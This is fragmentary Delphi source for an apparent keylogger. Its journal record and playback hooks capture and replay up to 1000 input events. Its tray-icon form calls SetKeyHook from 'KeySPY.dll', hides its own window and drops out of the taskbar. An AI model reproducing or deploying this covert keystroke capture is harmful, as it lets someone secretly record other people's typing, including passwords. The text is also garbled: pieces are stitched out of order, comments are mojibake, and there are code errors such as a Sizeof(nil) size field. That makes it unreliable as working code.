Function PlayProc(iCode:Integer;wParam:wParam;lParam:lParam):LRESULT;stdcall;
begin
canPlay:=1;
Result:=0;
if iCode < 0 then //必??消息??到消息?的下一?接受?元
Result := CallNextHookEx(hPlay,iCode,wParam,lParam)
else if iCode = HC_SYSMODALON then
canPlay:=0
else if iCode = HC_SYSMODALOFF then
canPlay:=1
else if ((canPlay =1 )and(iCode=HC_GETNEXT)) then begin
if bDelay then begin
bDelay:=False;
Result:=50;
end;
pEventMSG(lParam)^:=EventArr[PlayLog];
end
else if ((canPlay = 1)and(iCode = HC_SKIP))then begin
bDelay := True;
PlayLog:=PlayLog+1;
end;
if PlayLog>=EventLog then begin
UNHookWindowsHookEx(hPlay);
end;
end;
function HookProc(iCode:Integer;wParam:wParam;lParam:lParam):LRESULT;stdcall;
begin
recOK:=1;
Result:=0;
if iCode < 0 then
Result := CallNextHookEx(hHook,iCode,wParam,lParam)
else if iCode = HC_SYSMODALON then
recOK:=0
else if iCode = HC_SYSMODALOFF then
recOK:=1
else if ((recOK>0) and (iCode = HC_ACTION)) then begin
EventArr[EventLog]:=pEventMSG(lParam)^;
EventLog:=EventLog+1;
if EventLog>=1000 then begin
UnHookWindowsHookEx(hHook);
end;
end;
end;
private
{ Private declarations }
nid:NotifyIconData;
NormalIcon:Ticon;
public
{ Public declarations }
Procedure Icontray(Var Msg:TMessage);
Message Mi_IConEvent;
end;
var
KBForm: TKBForm;
implementation
{$R *.dfm}
function SetKeyHook:bool;External 'KeySPY.dll';
function EndKeyHook:bool;External 'KeySPY.dll';
Procedure TKBForm.Icontray(Var Msg:TMessage);
var pt:Tpoint;
begin
if Msg.LParam=wm_lbuttondown then
sethook1Click(Self);
if Msg.LParam=Wm_rbuttondown then
begin
GetCursorPos(pt);
SetForegroundWindow(Handle);
PopupMenu1.Popup(Pt.x,Pt.Y);
end;
end;
procedure TKBForm.FormCreate(Sender: TObject);
begin
NormalIcon:=Ticon.Create;
Application.Title:=Caption;
nid.cbSize:=Sizeof(nil);
nid.Wnd:=Handle;
nid.uID:=0;
nid.uFlags:=NIF_ICON or NIF_MESSAGE or NIF_TIP;
nid.uCallbackMessage:=MI_iconEvent;
nid.hIcon:=Application.Icon.Handle;
StrCopy(nid.szTip,pchar(Caption));
nid.uFlags:=NIF_MESSAGE or NIF_ICON or NIF_TIP;
if not Shell_NotifyIcon(nim_add,@nid) then
begin
ShowMessage('失敗');
Application.Terminate;
end;
SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
end;
procedure TKBForm.SetHook1Click(Sender: TObject);
begin
Setkeyhook;
end;
procedure TKBForm.EndHook1Click(Sender: TObject);
begin
Endkeyhook;
end;
procedure TKBForm.Close1Click(Sender: TObject);
begin
Application.Terminate;
end;
procedure TKBForm.FormDestroy(Sender: TObject);
begin
nid.uFlags:=0;
Shell_NotifyIcon(nim_delete,@nid);
end;
procedure TKBForm.FormPaint(Sender: TObject);
begin
Hide;
end;